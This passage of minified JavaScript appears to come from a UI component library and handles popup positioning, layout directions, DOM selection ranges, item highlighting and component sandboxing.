r,i,u,a,c,s,l,f,d,m,g,p,h,v,b,y,x,w,S,k,C,O,_,T,E,D,A,B,M,F,I,R,N,P,V,H,L,z,U,j=t.bubble,W=j.offset,G=(N=o,P=t.restriction,V=W,H=ot("left",N.x),L=ot("top",N.y),z=ot("right",N.right),U=ot("bottom",N.bottom),Bn(H,L,z-H,U-L)),X=t.x+W.left,Y=t.y+W.top,q=Bn(X,Y,e,n),K=(r=G.x,i=G.y,u=G.right,a=G.bottom,c=q.x,s=q.y,l=q.right,f=q.bottom,d=q.width,m=q.height,{originInBounds:r<=c&&c<=u&&i<=s&&s<=a,sizeInBounds:l<=u&&r<=l&&f<=a&&i<=f,visibleW:Math.min(d,r<=c?u-c:l-r),visibleH:Math.min(m,i<=s?a-s:f-i)}),J=K.visibleW,$=K.visibleH,Q=K.originInBounds&&K.sizeInBounds,Z=Q?q:(g=G.x,p=G.y,h=G.right,v=G.bottom,b=q.x,y=q.y,x=q.width,w=q.height,S=Math.max(g,h-x),k=Math.max(p,v-w),C=Wa(b,g,S),O=Wa(y,p,k),_=Math.min(C+x,h)-C,T=Math.min(O+w,v)-O,Bn(C,O,_,T)),tt=0<Z.width&&0<Z.height,et=(E=t.direction,B=rt((D=Z).bottom-(A=o).y),M=rt(A.bottom-D.y),F=E.fold(M,M,B,B,M,B,M,M),I=rt(D.right-A.x),R=rt(A.right-D.x),{maxWidth:E.fold(R,I,R,I,R,R,R,I),maxHeight:F}),nt={rect:Z,maxHeight:et.maxHeight,maxWidth:et.maxWidth,direction:t.direction,placement:t.placement,classes:{on:j.classesOn,off:j.classesOff},layout:t.label,testY:Y};function ot(r,i){return P[r].map(function(t){var e="top"===r||"bottom"===r,n=e?V.top:V.left,o=("left"===r||"top"===r?Math.max:Math.min)(t,i)+n;return e?Wa(o,N.y,N.bottom):Wa(o,N.x,N.right)}).getOr(i)}return Q||t.alwaysFit?Ac.fit(nt):Ac.nofit(nt,J,$,tt)}function fc(t){function e(){return n.get().each(t)}var n=Po(vt.none());return{clear:function(){e(),n.set(vt.none())},isSet:function(){return n.get().isSome()},get:function(){return n.get()},set:function(t){e(),n.set(vt.some(t))}}}function dc(){return fc(function(t){return t.destroy()})}function mc(){return fc(function(t){return t.unbind()})}function gc(){var e=fc(st);return lt(lt({},e),{on:function(t){return e.get().each(t)}})}function pc(t,e,n){return Te(t,e,Bc,n,!1)}function hc(t,e,n){return Te(t,e,Bc,n,!0)}function vc(o,n){function r(t){var e,n=null!==(e=t.raw.pseudoElement)&&void 0!==e?e:"";return zt(t.target,o)&&!at(n)&&wt(Fc,t.raw.propertyName)}function t(t){var e;(g(t)||r(t))&&(a.clear(),c.clear(),!g(e=null==t?void 0:t.raw.type)&&e!==_i()||(clearTimeout(i),ce(o,Ic),$r(o,n.classes)))}function e(){a.set(pc(o,_i(),t)),c.set(pc(o,Oi(),t))}var i,u,a=mc(),c=mc();"ontransitionstart"in o.dom?u=pc(o,Ti(),function(t){r(t)&&(u.unbind(),e())}):e();var s,l,f=(s=o,l=d("transition-delay"),R(d("transition-duration"),function(t,e,n){var o=m(l[n])+m(e);return Math.max(t,o)},0));function d(t){var e=ge(s,t);return F(y(e)?e.split(/\s*,\s*/):[],at)}function m(t){if(y(t)&&/^[\d.]+/.test(t)){var e=parseFloat(t);return At(t,"ms")?e:1e3*e}return 0}requestAnimationFrame(function(){i=setTimeout(t,f+17),oe(o,Ic,i)})}function bc(t,e,n,o,r,i){var u,a,c,s,l,f,d,m,g,p=(u=o,a=r,i.exists(function(t){var e=u.mode;return"all"===e||t[e]!==a[e]}));function h(t){return parseFloat(t).toFixed(3)}p||(g=t,L(o.classes,function(t){return Kr(g,t)}))?(fe(t,"position",n.position),c=Ma(e,t),s=Ba(e,lt(lt({},r),{rect:c})),l=j(Fc,function(t){return s[t]}),m=n,Q(l,function(t,e){var n,o,r,i=m[e].map(h),u=t.map(h);return!Et(n=i,o=u,r=void 0===r?v:r).getOr(n.isNone()&&o.isNone())}).isSome()&&(me(t,l),p&&(Jr(f=t,(d=o).classes),ue(f,Ic).each(function(t){clearTimeout(parseInt(t,10)),ce(f,Ic)}),vc(f,d)),be(t))):$r(t,o.classes)}function yc(t,e,n,o){ve(e,"max-height"),ve(e,"max-width");var r,s,i,l,f,d,m,g,p,u={width:Oe(r=e),height:we(r)};return s=e,i=o.preference,l=t,f=u,d=n,m=o.bounds,g=f.width,p=f.height,R(i,function(t,e){var n=C(a,e);return t.fold(rt(t),n)},Ac.nofit({rect:l,maxHeight:f.height,maxWidth:f.width,direction:Na(),placement:"southeast",classes:{on:[],off:[]},layout:"none",testY:l.y},-1,-1,!1)).fold(h,h);function a(t,r,i,u,a){var c=lc(t(l,f,d,s,m),g,p,m);return c.fold(rt(c),function(t,e,n,o){return(a===o?u<n||i<e:!a&&o)?c:Ac.nofit(r,i,u,a)})}}function xc(t,e){var n=t,o=Math.floor(e);fe(n,"max-height",wn.max(n,o,["margin-top","border-top-width","padding-top","padding-bottom","border-bottom-width","margin-bottom"])+"px")}function wc(t,e,n){return void 0===t[e]?n:t[e]}function Sc(t,e,n,o){function r(t){return tt(n,t).getOr([])}function i(t,e,n){var o=U(Vc,n);return{offset:kn(t,e),classesOn:H(n,r),classesOff:H(o,r)}}var u=t*(o=void 0===o?1:o),a=e*o;return{southeast:function(){return i(-t,e,["top","alignLeft"])},southwest:function(){return i(t,e,["top","alignRight"])},south:function(){return i(-t/2,e,["top","alignCentre"])},northeast:function(){return i(-t,-e,["bottom","alignLeft"])},northwest:function(){return i(t,-e,["bottom","alignRight"])},north:function(){return i(-t/2,-e,["bottom","alignCentre"])},east:function(){return i(t,-e/2,["valignCentre","left"])},west:function(){return i(-t,-e/2,["valignCentre","right"])},insetNortheast:function(){return i(u,a,["top","alignLeft","inset"])},insetNorthwest:function(){return i(-u,a,["top","alignRight","inset"])},insetNorth:function(){return i(-u/2,a,["top","alignCentre","inset"])},insetSoutheast:function(){return i(u,-a,["bottom","alignLeft","inset"])},insetSouthwest:function(){return i(-u,-a,["bottom","alignRight","inset"])},insetSouth:function(){return i(-u/2,-a,["bottom","alignCentre","inset"])},insetEast:function(){return i(-u,-a/2,["valignCentre","right","inset"])},insetWest:function(){return i(u,-a/2,["valignCentre","left","inset"])}}}function kc(){return Sc(0,0,{})}function Cc(e,n){return function(t){return"rtl"===Lc(t)?n:e}}ac.none;var Oc,_c,Tc=ac.relative,Ec=ac.fixed,Dc="data-alloy-placement",Ac=Vo([{fit:["reposition"]},{nofit:["reposition","visibleW","visibleH","isVisible"]}]),Bc=D,Mc=_e,Fc=["top","bottom","right","left"],Ic="data-alloy-transition-timer",Rc=rt(function(t,e){xc(t,e),de(t,{"overflow-x":"hidden","overflow-y":"auto"})}),Nc=rt(function(t,e){xc(t,e)}),Pc=function(t,e,n,o){var r,i,u,a,c=yc(t,e,n,o),s=e,l=c,f=Ba((r=o).origin,l);return r.transition.each(function(t){bc(s,r.origin,f,t,l,r.lastPlacement)}),Da(s,f),a=c.placement,oe(e,Dc,a),$r(i=e,(u=c.classes).off),Jr(i,u.on),(0,o.maxHeightFunction)(e,c.maxHeight),(0,o.maxWidthFunction)(e,c.maxWidth),{layout:c.layout,placement:c.placement}},Vc=["valignCentre","alignLeft","alignRight","alignCentre","top","bottom","left","right","inset"],Hc=h,Lc=function(t){return"rtl"===ge(t,"direction")?"rtl":"ltr"};function zc(t){return Mu(t,function(t){return Ge(t)&&ie(t,"data-alloy-vertical-dir")===Oc.BottomToTop})}function Uc(){return To("layouts",[mo("onLtr"),mo("onRtl"),wo("onBottomLtr"),wo("onBottomRtl")])}function jc(e,t,n,o,r,i,u){var a=u.map(zc).getOr(!1),c=t.layouts.map(function(t){return t.onLtr(e)}),s=t.layouts.map(function(t){return t.onRtl(e)});return Cc(a?t.layouts.bind(function(t){return t.onBottomLtr.map(function(t){return t(e)})}).or(c).getOr(r):c.getOr(n),a?t.layouts.bind(function(t){return t.onBottomRtl.map(function(t){return t(e)})}).or(s).getOr(i):s.getOr(o))(e)}function Wc(t){return t.fold(h,function(t,e,n){return t.translate(-e,-n)})}function Gc(t){return t.fold(h,h)}function Xc(t){return R(t,function(t,e){return t.translate(e.left,e.top)},kn(0,0))}function Yc(t){return Xc(B(t,Gc))}function qc(t,e,n){var o,r,i=Ie(jt(t.element)),u=(o=t,r=Xt(n.root).dom,vt.from(r.frameElement).map(Mt.fromDom).filter(function(t){return zt(jt(t),jt(o.element))}).map(ke).getOr(i));return as(u,i.left,i.top)}function Kc(t,e,n,o){var r=us(kn(t,e));return vt.some({point:r,width:n,height:o})}function Jc(t,a,c,s,l){return t.map(function(t){var e=[a,t.point],n=s.fold(function(){return Yc(e)},function(){return Yc(e)},function(){return Xc(B(e,Wc))}),o={x:n.left,y:n.top,width:t.width,height:t.height},r=(c.showAbove?ga:ha)(),i=(c.showAbove?pa:va)(),u=jc(l,c,r,i,r,i,vt.none());return Hc({anchorBox:o,bubble:c.bubble.getOr(kc()),overrides:c.overrides,layouts:u,placer:vt.none()})})}function $c(t,e,n){var o,r=t.document.createRange(),i=r;return e.fold(function(t){i.setStartBefore(t.dom)},function(t,e){i.setStart(t.dom,e)},function(t){i.setStartAfter(t.dom)}),o=r,n.fold(function(t){o.setEndBefore(t.dom)},function(t,e){o.setEnd(t.dom,e)},function(t){o.setEndAfter(t.dom)}),r}function Qc(t,e,n,o,r){var i=t.document.createRange();return i.setStart(e.dom,n),i.setEnd(o.dom,r),i}function Zc(t){return{left:t.left,top:t.top,right:t.right,bottom:t.bottom,width:t.width,height:t.height}}function ts(t,e,n){return e(Mt.fromDom(n.startContainer),n.startOffset,Mt.fromDom(n.endContainer),n.endOffset)}function es(i,t){return r=i,o=t.match({domRange:function(t){return{ltr:rt(t),rtl:vt.none}},relative:function(t,e){return{ltr:Rt(function(){return $c(r,t,e)}),rtl:Rt(function(){return vt.some($c(r,e,t))})}},exact:function(t,e,n,o){return{ltr:Rt(function(){return Qc(r,t,e,n,o)}),rtl:Rt(function(){return vt.some(Qc(r,n,o,t,e))})}}}),((n=(e=o).ltr()).collapsed?e.rtl().filter(function(t){return!1===t.collapsed}).map(function(t){return gs.rtl(Mt.fromDom(t.endContainer),t.endOffset,Mt.fromDom(t.startContainer),t.startOffset)}).getOrThunk(function(){return ts(0,gs.ltr,n)}):ts(0,gs.ltr,n)).match({ltr:function(t,e,n,o){var r=i.document.createRange();return r.setStart(t.dom,e),r.setEnd(n.dom,o),r},rtl:function(t,e,n,o){var r=i.document.createRange();return r.setStart(n.dom,o),r.setEnd(t.dom,e),r}});var r,e,n,o}(Oc=Oc||{}).TopToBottom="toptobottom",Oc.BottomToTop="bottomtotop";var ns="data-alloy-vertical-dir",os=[mo("hotspot"),wo("bubble"),Eo("overrides",{}),Uc(),ta("placement",function(t,e,n){var o=Ma(n,e.hotspot.element),r=jc(t.element,e,ha(),va(),ga(),pa(),vt.some(e.hotspot.element));return vt.some(Hc({anchorBox:o,bubble:e.bubble.getOr(kc()),overrides:e.overrides,layouts:r,placer:vt.none()}))})],rs=[mo("x"),mo("y"),Eo("height",0),Eo("width",0),Eo("bubble",kc()),Eo("overrides",{}),Uc(),ta("placement",function(t,e,n){var o=cc(n,e.x,e.y),r=Bn(o.left,o.top,e.width,e.height),i=jc(t.element,e,da(),ma(),da(),ma(),vt.none());return vt.some(Hc({anchorBox:r,bubble:e.bubble,overrides:e.overrides,layouts:i,placer:vt.none()}))})],is=Vo([{screen:["point"]},{absolute:["point","scrollLeft","scrollTop"]}]),us=is.screen,as=is.absolute,cs=[mo("node"),mo("root"),wo("bubble"),Uc(),Eo("overrides",{}),Eo("showAbove",!1),ta("placement",function(r,i,u){var a=qc(r,0,i);return i.node.filter(vn).bind(function(t){var e=t.dom.getBoundingClientRect(),n=Kc(e.left,e.top,e.width,e.height),o=i.node.getOr(r.element);return Jc(n,a,i,u,o)})})],ss=function(t,e,n,o){return{start:t,soffset:e,finish:n,foffset:o}},ls=Vo([{before:["element"]},{on:["element","offset"]},{after:["element"]}]),fs=(ls.before,ls.on,ls.after,function(t){return t.fold(h,h,h)}),ds=Vo([{domRange:["rng"]},{relative:["startSitu","finishSitu"]},{exact:["start","soffset","finish","foffset"]}]),ms={domRange:ds.domRange,relative:ds.relative,exact:ds.exact,exactFromRange:function(t){return ds.exact(t.start,t.soffset,t.finish,t.foffset)},getWin:function(t){return Xt(t.match({domRange:function(t){return Mt.fromDom(t.startContainer)},relative:function(t,e){return fs(t)},exact:function(t,e,n,o){return t}}))},range:ss},gs=Vo([{ltr:["start","soffset","finish","foffset"]},{rtl:["start","soffset","finish","foffset"]}]);function ps(t){return ef.getOption(t)}function hs(t){return ps(t).filter(function(t){return 0!==t.trim().length||-1<t.indexOf("\xa0")}).isSome()||wt(nf,Ft(t))}function vs(t,e){return Lt(n=void 0===t?document:t.dom)?[]:B(n.querySelectorAll(e),Mt.fromDom);var n}function bs(t){if(0<t.rangeCount){var e=t.getRangeAt(0),n=t.getRangeAt(t.rangeCount-1);return vt.some(ss(Mt.fromDom(e.startContainer),e.startOffset,Mt.fromDom(n.endContainer),n.endOffset))}return vt.none()}function ys(t){if(null===t.anchorNode||null===t.focusNode)return bs(t);var e,n,o,r,i,u,a,c,s,l,f,d=Mt.fromDom(t.anchorNode),m=Mt.fromDom(t.focusNode);return e=d,n=t.anchorOffset,o=m,r=t.focusOffset,u=n,a=o,c=r,(s=jt(i=e).dom.createRange()).setStart(i.dom,u),s.setEnd(a.dom,c),l=s,f=zt(e,o)&&n===r,l.collapsed&&!f?vt.some(ss(d,t.anchorOffset,m,t.focusOffset)):bs(t)}function xs(t,e){var n,o,r=(n=es(t,e)).getClientRects();return 0<(o=0<r.length?r[0]:n.getBoundingClientRect()).width||0<o.height?vt.some(o).map(Zc):vt.none()}function ws(t,e){return{element:t,offset:e}}function Ss(t,e){return(Xe(t)?ws:function(t,e){var n=Kt(t);if(0===n.length)return ws(t,e);if(e<n.length)return ws(n[e],0);var o=n[n.length-1];return ws(o,(Xe(o)?ef.get(o):Kt(o)).length)})(t,e)}function ks(t,e){return e.getSelection.getOrThunk(function(){return function(){return vt.from(t.getSelection()).filter(function(t){return 0<t.rangeCount}).bind(ys)}})().map(function(t){var e=Ss(t.start,t.soffset),n=Ss(t.finish,t.foffset);return ms.range(e.element,e.offset,n.element,n.offset)})}function Cs(t){return t.x+t.width}function Os(t,e){return t.x-e.width}function _s(t,e){return t.y-e.height+t.height}function Ts(t,e,n){return na(Cs(t),t.y,n.southeast(),Na(),"southeast",ra(t,{left:0,top:2}),rf)}function Es(t,e,n){return na(Os(t,e),t.y,n.southwest(),Pa(),"southwest",ra(t,{right:1,top:2}),rf)}function Ds(t,e,n){return na(Cs(t),_s(t,e),n.northeast(),Va(),"northeast",ra(t,{left:0,bottom:3}),rf)}function As(t,e,n){return na(Os(t,e),_s(t,e),n.northwest(),Ha(),"northwest",ra(t,{right:1,bottom:3}),rf)}function Bs(){return[Ts,Es,Ds,As]}function Ms(){return[Es,Ts,As,Ds]}function Fs(t,e,n,o,r,i,u){var a,c,s,l,f,d,m,g,p,h,v,b,y,x,w={anchorBox:n.anchorBox,origin:e};return a=w,c=r.element,s=n.bubble,l=n.layouts,f=i,d=o,m=n.overrides,g=u,h=wc(m,"maxHeightFunction",Rc()),v=wc(m,"maxWidthFunction",st),b=a.anchorBox,y=a.origin,x={bounds:(p=y,d.fold(function(){return p.fold(Fn,Fn,Bn)},function(n){return p.fold(n,n,function(){var t=n(),e=cc(p,t.x,t.y);return Bn(e.left,e.top,t.width,t.height)})})),origin:y,preference:l,maxHeightFunction:h,maxWidthFunction:v,lastPlacement:f,transition:g},Pc(b,c,s,x)}function Is(t,e){Tn(t.element,e.element)}function Rs(e,t){var n,o=e.components();St((n=e).components(),function(t){return En(t.element)}),Me(n.element),n.syncComponents();var r=U(o,t);St(r,function(t){df(t),e.getSystem().removeFromWorld(t)}),St(t,function(t){t.getSystem().isConnected()?Is(e,t):(e.getSystem().addToWorld(t),Is(e,t),vn(e.element)&&mf(t)),e.syncComponents()})}function Ns(t,e){gf(t,e,Tn)}function Ps(t){df(t),En(t.element),t.getSystem().removeFromWorld(t)}function Vs(e){var t=Yt(e.element).bind(function(t){return e.getSystem().getByDom(t).toOptional()});Ps(e),t.each(function(t){t.syncComponents()})}function Hs(t){var e=t.components();St(e,Ps),Me(t.element),t.syncComponents()}function Ls(t,e){pf(t,e,Tn)}function zs(e){var t=Kt(e.element);St(t,function(t){e.getByDom(t).each(df)}),En(e.element)}function Us(e,t,n,o){n.get().each(function(t){Hs(e)}),Ns(t.getAttachPoint(e),e);var r=e.getSystem().build(o);return Ns(e,r),n.set(r),r}function js(t,e,n,o){var r=Us(t,e,n,o);return e.onOpen(t,r),r}function Ws(e,n,o){o.get().each(function(t){Hs(e),Vs(e),n.onClose(e,t),o.clear()})}function Gs(t,e,n){return n.isOpen()}function Xs(t){var n=so("Dismissal",Sf,t),e={};return e[yf()]={schema:to([mo("target")]),onReceive:function(e,t){bf.isOpen(e)&&(bf.isPartOf(e,t.target)||n.isExtraPart(e,t.target)||n.fireEventInstead.fold(function(){return bf.close(e)},function(t){return vr(e,t.event)}))}},e}function Ys(t){var n=so("Reposition",kf,t),e={};return e[xf()]={onReceive:function(e){bf.isOpen(e)&&n.fireEventInstead.fold(function(){return n.doReposition(e)},function(t){return vr(e,t.event)})}},e}function qs(t,e,n){e.store.manager.onLoad(t,e,n)}function Ks(t,e,n){e.store.manager.onUnload(t,e,n)}function Js(){var t=Po(null);return wu({set:t.set,get:t.get,isNotSet:function(){return null===t.get()},clear:function(){t.set(null)},readState:function(){return{mode:"memory",value:t.get()}}})}function $s(){var i=Po({}),u=Po({});return wu({readState:function(){return{mode:"dataset",dataByValue:i.get(),dataByText:u.get()}},lookup:function(t){return tt(i.get(),t).orThunk(function(){return tt(u.get(),t)})},update:function(t){var e=i.get(),n=u.get(),o={},r={};St(t,function(e){tt(o[e.value]=e,"meta").each(function(t){tt(t,"text").each(function(t){r[t]=e})})}),i.set(lt(lt({},e),o)),u.set(lt(lt({},n),r))},clear:function(){i.set({}),u.set({})}})}function Qs(t,e,n,o){var r=e.store;n.update([o]),r.setValue(t,o),e.onSetValue(t,o)}function Zs(o,t){return No(o,{},B(t,function(t){return e=t.name(),n="Cannot configure "+t.name()+" for "+o,ar(e,e,Xn(),Jn(function(t){return zo("The field: "+e+" is forbidden. "+n)}));var e,n}).concat([cr("dump",h)]))}function tl(t){return t.dump}function el(t,e){return lt(lt({},ec(e)),t.dump)}function nl(t){return Tt(t,"uiType")}function ol(t){return t.fold(vt.some,vt.none,vt.some,vt.some)}function rl(t){function e(t){return t.name}return t.fold(e,e,e,e)}function il(n,o){return function(t){var e=so("Converting part type",o,t);return n(e)}}function ul(t,e,n,o){return Yo(e.defaults(t,n,o),n,{uid:t.partUids[e.name]},e.overrides(t,n,o))}function al(r,t){var e={};return St(t,function(t){ol(t).each(function(n){var o=nd(r,n.pname);e[n.name]=function(t){var e=so("Part: "+n.name+" in "+r,$o(n.schema),t);return lt(lt({},o),{config:t,validated:e})}})}),e}function cl(t,e,n){return{uiType:Pf(),owner:t,name:e,config:n,validated:{}}}function sl(t){return H(t,function(t){return t.fold(vt.none,vt.some,vt.none,vt.none).map(function(t){return bo(t.name,t.schema.concat([ea(td())]))}).toArray()})}function ll(t){return B(t,rl)}function fl(t,e,n){return o=e,r={},i={},St(n,function(t){t.fold(function(o){r[o.pname]=Rf(!0,function(t,e,n){return o.factory.sketch(ul(t,o,e,n))})},function(t){var e=o.parts[t.name];i[t.name]=rt(t.factory.sketch(ul(o,t,e[td()]),e))},function(o){r[o.pname]=Rf(!1,function(t,e,n){return o.factory.sketch(ul(t,o,e,n))})},function(o){r[o.pname]=Nf(!0,function(e,t,n){return B(e[o.name],function(t){return o.factory.sketch(Yo(o.defaults(e,t,n),t,o.overrides(e,t)))})})})}),{internals:rt(r),externals:rt(i)};var o,r,i}function dl(t,e,n){return o=vt.some(t),i=(r=e).components,s=dt(n,function(t,e){return o=t,r=!1,{name:rt(n=e),required:function(){return o.fold(function(t,e){return t},function(t,e){return t})},used:function(){return r},replace:function(){if(r)throw new Error("Trying to use the same placeholder more than once: "+n);return r=!0,o}};var n,o,r}),u=o,a=r,c=s,l=H(i,function(t){return If(u,a,t,c)}),J(s,function(t){if(!1===t.used()&&t.required())throw new Error("Placeholder: "+t.name()+" was not found in components list\nNamespace: "+o.getOr("none")+"\nComponents: "+JSON.stringify(r.components,null,2))}),l;var o,r,i,u,a,c,s,l}function ml(t,e,n){var o=e.partUids[n];return t.getSystem().getByUid(o).toOptional()}function gl(t,e,n){return ml(t,e,n).getOrDie("Could not find part: "+n)}function pl(t,e,n){var o={},r=e.partUids,i=t.getSystem();return St(n,function(t){o[t]=rt(i.getByUid(r[t]))}),o}function hl(t,e){var n=t.getSystem();return dt(e.partUids,function(t,e){return rt(n.getByUid(t))})}function vl(t){return Ct(t.partUids)}function bl(t,e,n){var o={},r=e.partUids,i=t.getSystem();return St(n,function(t){o[t]=rt(i.getByUid(r[t]).getOrDie())}),o}function yl(e,t){return lr(B(ll(t),function(t){return{key:t,value:e+"-"+t}}))}function xl(e){return ar("partUids","partUids",Yn(function(t){return yl(t.uid,e)}),Zo())}function wl(t,e,n,o,r){var i;return so(t+" [SpecSchema]",to((i=r,(0<o.length?[bo("parts",o)]:[]).concat([mo("uid"),Eo("dom",{}),Eo("components",[]),ea("originalSpec"),Eo("debug.sketcher",{})]).concat(i)).concat(e)),n)}function Sl(t,e,n,o,r){var i=rd(r),u=wl(t,e,i,sl(n),[xl(n)]),a=fl(0,u,n);return o(u,dl(t,u,a.internals()),i,a.externals())}function kl(t){var r=so("Sketcher for "+t.name,id,t),e=dt(r.apis,Hr),n=dt(r.extraApis,Pr);return lt(lt({name:r.name,configFields:r.configFields,sketch:function(t){return e=r.name,n=r.configFields,(0,r.factory)(wl(e,n,o=rd(t),[],[]),o);var e,n,o}},e),n)}function Cl(t){var e=so("Sketcher for "+t.name,ud,t),n=al(e.name,e.partFields),o=dt(e.apis,Hr),r=dt(e.extraApis,Pr);return lt(lt({name:e.name,partFields:e.partFields,configFields:e.configFields,sketch:function(t){return Sl(e.name,e.configFields,e.partFields,e.factory,t)},parts:n},o),r)}function Ol(t){return"input"===Ft(t)&&"radio"!==ie(t,"type")||"textarea"===Ft(t)}function _l(t,e,n){(e.disabled()?ld:fd)(t,e)}function Tl(t,e){return!0===e.useNative&&wt(sd,Ft(t.element))}function El(t,e){return Tl(t,e)?ae(t.element,"disabled"):"true"===ie(t.element,"aria-disabled")}function Dl(n,o,t,r){var e=vs(n.element,"."+o.highlightClass);St(e,function(e){d(r,function(t){return t.element===e})||(qr(e,o.highlightClass),n.getSystem().getByDom(e).each(function(t){o.onDehighlight(n,t),vr(t,tu())}))})}function Al(t,e,n,o){Dl(t,e,0,[o]),Yl(0,e,0,o)||(Yr(o.element,e.highlightClass),e.onHighlight(t,o),vr(o,Zi()))}function Bl(n,e,t,o){var r=vs(n.element,"."+e.itemClass);return P(r,function(t){return Kr(t,e.highlightClass)}).bind(function(t){var e=oa(t,o,0,r.length-1);return n.getSystem().getByDom(r[e]).toOptional()})}function Ml(t,e,n){var o=z(t.slice(0,e)),r=z(t.slice(e+1));return N(o.concat(r),n)}function Fl(t,e,n){return N(z(t.slice(0,e)),n)}function Il(t,e,n){var o=t.slice(0,e);return N(t.slice(e+1).concat(o),n)}function Rl(t,e,n){return N(t.slice(e+1),n)}function Nl(n){return function(t){var e=t.raw;return wt(n,e.which)}}function Pl(t){return function(e){return L(t,function(t){return t(e)})}}function Vl(t){return!0===t.raw.shiftKey}function Hl(t){return!0===t.raw.ctrlKey}function Ll(t,e){return{matches:t,classification:e}}function zl(t,e,n){e.exists(function(e){return n.exists(function(t){return zt(t,e)})})||br(t,Ki(),{prevFocus:e,newFocus:n})}function Ul(){function o(t){return _a(t.element)}return{get:o,set:function(t,e){var n=o(t);t.getSystem().triggerFocus(e,t.element),zl(t,n,o(t))}}}function jl(){function r(t){return hd.getHighlighted(t).map(function(t){return t.element})}return{get:r,set:function(e,t){var n=r(e);e.getSystem().getByDom(t).fold(st,function(t){hd.highlight(e,t)});var o=r(e);zl(e,n,o)}}}gs.ltr,gs.rtl;function Wl(t,e,n,o,r,i){var u=i.map(Mn);return lf(t,e,n,o,r,u)}function Gl(t,e,n){var o,r,i,u=e.getAttachPoint(t);fe(t.element,"position",ff.getMode(u)),i=e.cloakVisibilityAttr,pe((o=t).element,r="visibility").fold(function(){ce(o.element,i)},function(t){oe(o.element,i,t)}),fe(o.element,r,"hidden")}function Xl(t,e,n){var o,r,i,u=t.element;d(["top","left","right","bottom"],function(t){return pe(u,t).isSome()})||ve(t.element,"position"),r="visibility",i=e.cloakVisibilityAttr,ue((o=t).element,i).fold(function(){return ve(o.element,r)},function(t){return fe(o.element,r,t)})}function Yl(t,e,n,o){return Kr(o.element,e.highlightClass)}function ql(e,t,n){return Iu(e.element,"."+t.itemClass).bind(function(t){return e.getSystem().getByDom(t).toOptional()})}function Kl(e,t,n){var o=vs(e.element,"."+t.itemClass);return(0<o.length?vt.some(o[o.length-1]):vt.none()).bind(function(t){return e.getSystem().getByDom(t).toOptional()})}function Jl(e,t,n){return nt(B(vs(e.element,"."+t.itemClass),function(t){return e.getSystem().getByDom(t).toOptional()}))}var $l,Ql,Zl,tf,ef=($l=Xe,{get:function(t){if(!$l(t))throw new Error("Can only get text value of a text node");return Ql(t).getOr("")},getOption:Ql=function(t){return $l(t)?vt.from(t.dom.nodeValue):vt.none()},set:function(t,e){if(!$l(t))throw new Error("Can only set raw text value of a text node");t.dom.nodeValue=e}}),nf=["img","br"],of=[wo("getSelection"),mo("root"),wo("bubble"),Uc(),Eo("overrides",{}),Eo("showAbove",!1),ta("placement",function(t,e,n){var r=Xt(e.root).dom,o=qc(t,0,e);return Jc(ks(r,e).bind(function(n){return t=r,e=ms.exactFromRange(n),(0<(o=es(t,e).getBoundingClientRect()).width||0<o.height?vt.some(o).map(Zc):vt.none()).orThunk(function(){var t=Mt.fromText("\ufeff");Ee(n.start,t);var e=xs(r,ms.exact(t,0,t,1));return En(t),e}).bind(function(t){return Kc(t.left,t.top,t.width,t.height)});var t,e,o}),o,e,n,ks(r,e).bind(function(t){return Ge(t.start)?vt.some(t.start):fn(t.start)}).getOr(t.element))})],rf="link-layout",uf=lo("type",{selection:of,node:cs,hotspot:os,submenu:[mo("item"),Uc(),Eo("overrides",{}),ta("placement",function(t,e,n){var o=Ma(n,e.item.element),r=jc(t.element,e,Bs(),Ms(),Bs(),Ms(),vt.none());return vt.some(Hc({anchorBox:o,bubble:kc(),overrides:e.overrides,layouts:r,placer:vt.none()}))})],makeshift:rs}),af=[xo("classes",er),Mo("mode","all",["all","layout","placement"])],cf=[Eo("useFixed",T),wo("getBounds")],sf=[go("anchor",uf),To("transition",af)],lf=function(c,s,l,f,t,d){var m=so("placement.info",$o(sf),t),g=m.anchor,p=f.element,h=l.get(f.uid);Ta(function(){fe(p,"position","fixed");var t=pe(p,"visibility");fe(p,"visibility","hidden");var e,n,o,r,i=s.useFixed()?(r=document.documentElement,Ec(0,0,r.clientWidth,r.clientHeight)):(n=ke((e=c).element),o=e.element.dom.getBoundingClientRect(),Tc(n.left,n.top,o.width,o.height)),u=g.placement,a=d.map(rt).or(s.getBounds);u(c,g,i).each(function(t){var e=t.placer.getOr(Fs)(c,i,t,a,f,h,m.transition);l.set(f.uid,e)}),t.fold(function(){ve(p,"visibility")},function(t){fe(p,"visibility",t)}),pe(p,"left").isNone()&&pe(p,"top").isNone()&&pe(p,"right").isNone()&&pe(p,"bottom").isNone()&&mt(pe(p,"position"),"fixed")&&ve(p,"position")},p)},ff=xa({fields:cf,name:"positioning",active:uc,apis:Object.freeze({__proto__:null,position:function(t,e,n,o,r){Wl(t,e,n,o,r,vt.none())},positionWithin:Wl,positionWithinBounds:lf,getMode:function(t,e,n){return e.useFixed()?"fixed":"absolute"},reset:function(t,e,n,o){var r=o.element;St(["position","left","right","top","bottom"],function(t){return ve(r,t)}),ce(r,Dc),n.clear(o.uid)}}),state:Object.freeze({__proto__:null,init:function(){var n={};return wu({readState:function(){return n},clear:function(t){k(t)?delete n[t]:n={}},set:function(t,e){n[t]=e},get:function(t){return tt(n,t)}})}})}),df=function(t){vr(t,Xi());var e=t.components();St(e,df)},mf=function(t){var e=t.components();St(e,mf),vr(t,Gi())},gf=function(t,e,n){t.getSystem().addToWorld(e),n(t.element,e.element),vn(t.element)&&mf(e),t.syncComponents()},pf=function(t,e,n){n(t,e.element);var o=Kt(e.element);St(o,function(t){e.getByDom(t).each(mf)})},hf=Object.freeze({__proto__:null,cloak:Gl,decloak:Xl,open:js,openWhileCloaked:function(t,e,n,o,r){Gl(t,e),js(t,e,n,o),r(),Xl(t,e)},close:Ws,isOpen:Gs,isPartOf:function(e,n,t,o){return Gs(0,0,t)&&t.get().exists(function(t){return n.isPartOf(e,t,o)})},getState:function(t,e,n){return n.get()},setContent:function(t,e,n,o){return n.get().map(function(){return Us(t,e,n,o)})}}),vf=Object.freeze({__proto__:null,events:function(n,o){return nu([Cr(Vi(),function(t,e){Ws(t,n,o)})])}}),bf=xa({fields:[Ju("onOpen"),Ju("onClose"),mo("isPartOf"),mo("getAttachPoint"),Eo("cloakVisibilityAttr","data-precloak-visibility")],name:"sandboxing",active:vf,apis:hf,state:Object.freeze({__proto__:null,init:function(){var t=gc(),e=rt("not-implemented");return 